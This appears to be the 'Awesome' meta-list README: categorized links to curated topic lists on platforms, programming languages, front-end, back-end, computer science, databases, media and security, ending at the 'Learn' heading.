- [Application Security](https://github.com/paragonie/awesome-appsec)
- [Security](https://github.com/sbilly/awesome-security)
- [CTF](https://github.com/apsdehal/awesome-ctf)
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Android Security](https://github.com/ashishb/android-security-awesome)
- [Hacking](https://github.com/carpedm20/awesome-hacking)
- [Honeypots](https://github.com/paralax/awesome-honeypots)
- [Incident Response](https://github.com/meirwah/awesome-incident-response)
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json)
- [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev)
- [Slack](https://github.com/matiassingers/awesome-slack)
- [Conferences](https://github.com/RichardLitt/awesome-conferences)
- [GeoJSON](https://github.com/tmcw/awesome-geojson)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin)
- [Radio](https://github.com/kyleterry/awesome-radio)
- [Awesome](https://github.com/sindresorhus/awesome)
- [Analytics](https://github.com/onurakpolat/awesome-analytics)
- [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev)
- [GitHub Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet)
- [Open Companies](https://github.com/opencompany/awesome-open-company)
- [REST](https://github.com/marmelab/awesome-rest)
- [Selenium](https://github.com/christian-bromann/awesome-selenium)
- [Endangered Languages](https://github.com/RichardLitt/endangered-languages)
- [Slack Communities](https://github.com/filipelinhares/awesome-slack)
- [Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd)
- [Services Engineering](https://github.com/mmcgrana/services-engineering)
- [Free for Developers](https://github.com/ripienaar/free-for-dev)
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/)
- [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)*
- [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)*
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup)
- [Maintainance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)*
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job)
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates)
- [Mad Science Modules](https://github.com/feross/awesome-mad-science)
- [Readme](https://github.com/matiassingers/awesome-readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides)
- [Blogs](https://github.com/aleksandar-todorovic/awesome-blogs)
- [Design and Development Guides](https://github.com/NARKOZ/guides)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted)
- [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps)
- [Gulp](https://github.com/alferov/awesome-gulp)
- [AMA](https://github.com/sindresorhus/amas) *(Ask Me Anything)*
- [AMA-answers](https://github.com/stoeffel/awesome-ama-answers)
- [GIF](https://github.com/ibaaj/awesome-gif)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography/)
- [OpenGL](https://github.com/eug/awesome-opengl)
- [JavaScript Standard Style](https://github.com/feross/awesome-standard)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity)
- [GraphQL](https://github.com/chentsulin/awesome-graphql)
- [Transit](https://github.com/luqmaan/awesome-transit)
- [Research Tools](https://github.com/emptymalei/awesome-research)
- [Niche Job Boards](https://github.com/wfhio/awesome-job-boards)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz)
- [Social Media Share Links](https://github.com/vinkla/share-links)
- [JSON Datasets](https://github.com/jdorfman/awesome-json-datasets)
- [Microservices](https://github.com/mfornos/awesome-microservices)
- [GitHub](https://github.com/phillipadsmith/awesome-github)
- [Unicode Code Points](https://github.com/Codepoints/awesome-codepoints)
- [Internet of Things](https://github.com/HQarroum/awesome-iot)
- [Open Source Documents](https://github.com/nacyot/awesome-opensource-documents)
- [Umbraco](https://github.com/leekelleher/awesome-umbraco)
- [Linux Containers](https://github.com/Friz-zy/awesome-linux-containers)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners)
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<p>
<sup>My open source work is supported by the community</sup>
<br>
<a href="https://www.patreon.com/sindresorhus">
<img src="https://c5.patreon.com/external/logo/become_a_patron_button@2x.png" width="160">
</a>
</p>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme)
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme)
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/bfred-it/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme)
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/isRuslan/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme)
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme)
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme)
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi#readme)
- [Assembler](https://github.com/jaspergould/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme)
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/gdi2290/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme)
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme)
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/nmec/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/hyperapp/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme)
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme)
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme)
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme)
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme)
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme)
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/Acrotrend/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
